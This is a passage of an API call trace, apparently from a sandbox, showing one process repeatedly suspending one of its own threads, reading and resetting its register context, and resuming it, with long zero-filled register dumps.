[180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0110.034] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147bc0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0110.150] ResumeThread (hThread=0x130) returned 0x1
[0110.150] CloseHandle (hObject=0x130) returned 1
[0110.150] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0110.184] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0110.218] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0110.326] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0110.401] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0110.401] SuspendThread (hThread=0x130) returned 0x0
[0110.401] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147980, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x15b522c, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0110.468] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147978, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0110.536] ResumeThread (hThread=0x130) returned 0x1
[0110.536] CloseHandle (hObject=0x130) returned 1
[0110.536] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0110.572] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0110.606] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0110.716] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0110.799] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0110.799] SuspendThread (hThread=0x130) returned 0x0
[0110.799] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001478e8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x15b7ffd, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0110.887] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001478e0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, 